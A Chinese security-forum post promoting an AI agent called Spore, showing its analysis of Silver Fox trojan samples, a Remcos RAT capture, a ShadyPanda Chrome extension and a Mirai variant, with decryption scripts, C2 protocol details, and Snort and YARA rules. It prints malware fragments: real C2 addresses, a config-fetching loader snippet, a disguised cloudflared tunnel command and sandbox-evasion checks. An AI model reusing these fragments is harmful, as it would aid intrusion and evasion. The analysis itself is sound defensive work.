首页
社区
课程
招聘
[分享][重发]我把样本扔给AI,然后呢?
发表于: 1天前 442

[分享][重发]我把样本扔给AI,然后呢?

1天前
442

我把样本扔给AI,然后呢?

我做了个实验:把一个银狐木马的完整分析材料扔给Spore,看它能做到什么程度。

材料包括:

  • 主样本libexpat.dll和它的IDA数据库(已经用REAI跑过函数识别)

  • 加密配置文件box.ini

  • 虚拟机跑出来的持久化记录

  • 三组C2通信数据包

然后Spore开始干活。


Spore的第一反应:规划任务

收到指令后,Spore没有直接开始乱读文件,而是先列了个计划:

1
2
3
4
5
6
7
8
9
10
11
1. [pending] 查看样本目录结构(包括隐藏文件)
 
2. [pending] 分析恶意软件配置文件 box.ini
 
3. [pending] 分析持久化记录
 
4. [pending] 使用 IDA Skill 分析主样本 libexpat.dll.i64
 
5. [pending] 分析通信内容
 
6. [pending] 生成综合分析报告

然后执行dir /a /s查看目录结构,确认所有文件都在。

图片描述


第一个坎:加密的box.ini

Spore读取box.ini,发现是乱码:

1
ìÕ2·­ä«ª¦h?乡ê¯IÅ}wD [..."Íu`2mº¾Vk$ï½ß...

普通AI到这里就卡住了:"这个文件是加密的,我无法分析。"

Spore的做法:既然配置文件是加密的,那解密逻辑肯定在主样本里。去IDA数据库里找。

它调用IDA Skill,执行IDAPython脚本,列出所有REAI识别出的函数:

1
2
3
4
5
6
7
0x739c39b0 AI_VerifyAndDecryptConfigFile
 
0x739c3fb0 AI_MalwareConfigLoader
 
0x739c24d0 AI_MalwareSelfInstallAndPersistence
 
...

看到AI_VerifyAndDecryptConfigFile,Spore知道这就是解密函数。反编译它:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int __stdcall AI_VerifyAndDecryptConfigFile(LPCWSTR lpFileName, int a2, int a3)
 
{
 
  // ... 省略 ...
 
  v15[0] = 0xB7567254;  // AES Key
 
  v15[1] = 0xFA7EC019;
 
  v15[2] = 0x9BDD604D;
 
  // ...
 
  v16[0] = 0xE0EF296D;  // IV
 
  v16[1] = 0xAC5082E6;
 
  // ...
 
  CryptDecrypt(hKey, 0, 1, 0, pbData, &pdwDataLen);
 
}

从反编译代码里提取出AES-256-CBC的密钥和IV:

1
2
3
Key: 547256b719c07efa4d60dd9b890029aaad26f25fdbbfc1c088d19a551341bc17
 
IV:  6d29efe0e68250ac5a348af37a0e79bf

Spore自己写解密脚本

提取到密钥后,Spore没有停下来问"接下来怎么办",而是直接写Python解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from Crypto.Cipher import AES
 
import struct
 
 
 
# 从 IDA 提取的 AES 密钥 (小端序转换)
 
key_dwords = [0xB7567254, 0xFA7EC019, 0x9BDD604D, 0xAA290089,
 
              0x5FF226AD, 0xC0C1BFDB, 0x559AD188, 0x17BC4113]
 
key = b''.join(struct.pack('<I', d) for d in key_dwords)
 
 
 
iv_dwords = [0xE0EF296D, 0xAC5082E6, 0xF38A345A, 0xBF790E7A]
 
iv = b''.join(struct.pack('<I', d) for d in iv_dwords)
 
 
 
cipher = AES.new(key, AES.MODE_CBC, iv)
 
decrypted = cipher.decrypt(encrypted_data)

执行结果:

1
2
3
4
5
加密数据大小: 2416 字节
 
解密成功,去除 padding 后大小: 2411 字节
 
64字节(hex): 558bec81ec800000005333db5657895dc4...

55 8B EC——这是x86函数序言push ebp; mov ebp, esp。box.ini解密后是shellcode。


我追问了一句

看到报告里提到box.ini,我问:"box.ini是干嘛的?你搞清了吗"

Spore回答:

"从IDA分析结果来看,box.ini是加密的配置文件,由AI_VerifyAndDecryptConfigFile函数解密后使用。解密后的内容有两种用途:

  1. 如果是有效的PE文件(检查MZ/PE签名),则通过AI_MemoryPELoaderAndExecutor在内存中加载执行
  1. 如果不是PE但大于10字节,则作为shellcode直接分配可执行内存运行

所以box.ini实际上是加密存储的payload。我可以尝试用提取到的AES密钥解密它,看看里面具体是什么内容。需要我解密吗?"

我说:"做"

Spore就把解密后的shellcode扔进IDA分析,得出完整功能:

1
2
3
4
5
6
7
sub_6B6: PEB遍历,查找kernel32.dll (哈希0x1CCA9CE6)
 
sub_730: API哈希解析器 (算法: hash = (char + 131 * hash) & 0x7FFFFFFF)
 
sub_0:   主函数 - 解析API、检测"codemark"字符串、建立C2连接
 
sub_299: 网络通信函数 (TCP socket)

box.ini解密后是初始化shellcode,负责建立C2通道,下载后续payload。


第二个坎:通信协议逆向

我又问:"后续通信的三段数据能否对上?三段数据能否进行进一步分析?"

Spore开始分析data目录下的通信数据包。

第一组通信:send.bin只有3字节32 00,recv.bin有307214字节。

Spore对比recv.bin和已解密的stage2_shellcode_decrypted.bin,发现:

1
2
3
4
5
6
7
8
9
10
11
加密: dfa432363663bddab5da2e6560bd470a61bf63c2bd72384eb3f6425bb54a384a
 
解密: e992040000558bec83ec1853568b713c578955f48b440e7885c0746d837c0e7c
 
 
 
XOR差异: 36363636363636363636363636363636...
 
唯一差异值数量: 1
 
可能的 XOR key: [54# 0x36

通信数据用XOR 0x36加密。协议结构:

1
2
3
4
5
6
7
+--------+----------+------+------------------+
 
| 4字节  |  8字节   | 2字节|     N字节        |
 
| 长度   | 会话ID   | 命令 |  XOR 0x36加密    |
 
+--------+----------+------+------------------+

三组通信对应:

  1. 发送32 00请求 -> 接收307KB的Stage2 PE加载器shellcode

  2. 发送16字节初始化 -> 接收配置 -> 发送2643字节系统信息 -> 接收311KB第二个payload

  3. 发送5302字节详细系统信息(522条记录) -> 命令执行交互


最终报告

整个分析过程,Spore输出了一份完整的报告,包括:

反分析机制

  • 进程检测:sandboxie.exe、x64dbg.exe、VBoxTray.exe、VMwareUser.exe

  • 调试器检测:IsDebuggerPresent()

  • 虚拟机检测:MAC地址前缀00:50:56、00:1C:14、00:0C:29

  • 硬件检测:内存<4GB或CPU核心<4则退出

持久化机制

  • 计划任务\Batteries,伪装成"System Batteries"

  • 安装目录%APPDATA%\trvePath\(隐藏+系统属性)

  • 执行路径XLGame.exe /run

加密算法

  • 配置文件:AES-256-CBC

  • 通信协议:XOR 0x36

C2地址

  • 116.31.102.57:80

  • 116.31.102.56:80

  • 128.85.113.135:443

  • 121.29.13.56:80

攻击链

1
2
3
DLL侧加载 -> 环境检测 -> 自我安装 -> 持久化 ->
 
配置解密 -> C2通信建立 -> Stage2下载 -> Payload执行 -> 远程控制

图片描述

银狐分析报告


这个过程说明什么

  1. Spore不是"一键出报告"。告诉它有什么材料、要做什么。Spore不只是一个安全方向的Agent,他什么都能做。

  2. Spore会自己想办法。遇到加密文件,它去找解密函数;遇到未知协议,它尝试各种解密方式。

  3. Spore需要你引导。我问"box.ini是干嘛的",它才深入分析;我问"通信数据能否对上",它才去逆向协议。

  4. 整个过程透明。每一步操作、每一次工具调用、每一个中间结果,你都能看到。


Spore会翻车吗?会

复杂混淆扛不住。VMProtect、Themida这类重度混淆,IDA看不懂的,Spore也看不懂。

不能替代动态分析。沙箱行为、内存dump,还是得靠传统工具。(后续接入IDA MCP可实现)


另一个案例:Remcos RAT流量分析

扔给Spore一个pcap文件,60个数据包。

Spore识别出:

  • C2通信:192.168.122.104 -> 93.127.160.198:2019(Remcos默认端口)

  • 心跳间隔:28-30秒

  • 协议头:24 04 ff 00

从上线包提取系统信息:

1
2
3
4
5
6
7
8
9
恶意软件: EVANGELIST (Remcos RAT) 7.0.3 Pro
 
受害主机: DESKTOP-RQ8184/Bruno
 
操作系统: Windows 11 Enterprise (64位)
 
进程注入: C:\Windows\SysWOW64\SndVol.exe
 
日志文件: C:\ProgramData\remcos\logs.dat

自动生成检测规则:

alert tcp $HOME_NET any -> $EXTERNAL_NET 2019

  (msg:"ET TROJAN Remcos RAT Protocol Header Detected";

   content:"|24 04 ff 00|"; depth:4; sid:2025120501;)

图片描述

Remcos流量分析报告


更多案例

银狐变种:Cloudflare Tunnel隐蔽C2

另一个银狐样本,这次用了不同的技术栈。

Spore从虚拟机持久化记录中发现:

恶意服务

1
2
3
4
5
服务名: cloudflared
 
路径: C:\ProgramData\Microsoft\System\System.exe
 
命令: access tcp --hostname http://1b2K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4c8S2L8h3g2A6i4K6u0W2j5%4W2G2N6b7`.`. --url tcp://127.0.0.1:443

攻击者伪装成Cloudflare官方隧道服务,实际是把C2流量藏在Cloudflare CDN后面。

恶意进程

  • System.exe (PID 10696) - SYSTEM权限,主C2代理

  • WindowsEvent.exe (PID 2512) - 用户权限,辅助模块

网络连接

1
192.168.230.128:50203 -> 104.21.2.162:443 (Cloudflare CDN)

真实C2藏在daaK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6i4c8S2L8h3g2A6i4K6u0W2j5%4W2G2N6b7`.`.后面,通过Cloudflare Tunnel转发,传统IP黑名单完全失效。

银狐Cloudflare变种分析


ShadyPanda:400万浏览器感染的Chrome插件

这个案例不是传统恶意软件,而是Chrome插件。

SpeedMaster,一个"网速测试"插件,实际是ShadyPanda活动的一部分——7年感染了400万浏览器。

Spore分析插件目录结构,发现核心恶意文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
background/
 
├── fuck.js              # 恶意代码加载器(没错,就叫这名)
 
├── safe_enrypt_wasm.js  # WebAssembly加密模块
 
├── t.json               # 恶意配置
 
└── bg.js                # 网络监控
 
 
 
def/
 
├── efg.js               # 动态脚本注入器
 
├── load_ad.js           # 广告注入器
 
└── load_ad_frame.js     # 广告iframe注入器

C2通信机制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 每小时从C2下载配置
 
const t = await fetch("6ccK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6S2M7r3W2Q4x3X3g2W2P5s2c8W2L8Y4y4A6L8$3&6H3L8r3q4&6i4K6u0W2j5$3!0E0i4K6u0r3M7%4m8W2k6h3c8Q4y4h3k6E0j5i4y4@1k6i4u0Q4x3V1k6@1i4K6u0W2K9Y4y4G2L8W2)9K6c8Y4c8Q4x3@1b7`." + Date.now())
 
 
 
// 配置格式
 
{
 
  "run_on": "content_scripts",
 
  "match": "\\.baidu.com$",
 
  "src": "5c4K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6N6r3q4@1K9h3y4Q4x3X3g2U0k6r3&6H3M7X3!0V1i4K6u0W2j5$3!0E0i4K6u0r3K9Y4y4Q4x3V1k6T1j5h3W2V1N6g2)9J5k6h3A6K6"
 
}

根据配置,在匹配的网站注入恶意脚本。

广告欺诈链条

1
2
3
4
5
6
7
8
9
10
11
12
13
伪装功能(speed-test.extfans.com) -> 获取信任
 
     
 
监控所有请求 -> 收集浏览数据
 
     
 
广告注入(the-news-desk.com) -> 点击欺诈 -> 非法收入
 
     
 
C2通信(api.extensionplay.com) -> 动态更新 -> 长期驻留

Spore自动生成检测规则:

rule ShadyPanda_SpeedMaster {

    strings:

        $c2_domain = "api.extensionplay.com"

        $malicious_func = "fuck.js"

        $config_url = "speed_master/t.json"

    condition:

        any of them

}

SpeedMaster插件分析


Mirai变种:19个数据包识别僵尸网络

一个只有1661字节的pcap文件,19个数据包。

Spore分析出:

心跳模式

  • 固定20秒间隔(37.68s -> 57.68s -> 77.68s)

  • Payload大小一致

  • 机械式规律性通信

协议指纹

  • 336699模式出现6次,协议标识符

  • 06756e6b6e6f77解码为"unknown",隐藏命令标识

可疑域名

  • DNS查询netbots.africa

通信对

  • 192.168.122.100 -> 198.98.59.161:5432

自动生成Snort规则:

alert tcp $HOME_NET any -> $EXTERNAL_NET 5432

  (msg:"Suspected Zenbox Linux Botnet Communication";

   content:"|33 66 99|"; offset:0; depth:3; sid:300001;)



alert udp $HOME_NET any -> any 53

  (msg:"Suspected Botnet Domain Query - netbots.africa";

   content:"netbots.africa"; sid:300002;)

19个数据包,识别出僵尸网络通信模式,生成可部署的检测规则。

Mirai流量分析


安全方向哪些师傅适合用Spore

  • 每天处理大量样本的安全运营团队

  • 需要快速出报告的应急响应人员

  • 想把重复劳动自动化的逆向工程师

  • 对AI感兴趣但不信任黑盒的安全从业者


最后

项目地址:{418K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6E0K9i4g2F1j5i4y4#2i4K6u0r3f1%4m8G2M7X3g2Q4y4@1b7`.

Windows一键安装,开箱即用。

银狐和Remcos的完整分析报告在example目录。银狐案例还有完整对话记录(.mem文件),可以在Spore里加载重放,看看整个分析过程是怎么进行的。

有问题:{miunasu@foxmail.com}


[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!

最后于 1天前 被Sh2ns1e编辑 ,原因:
收藏
免费 2
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回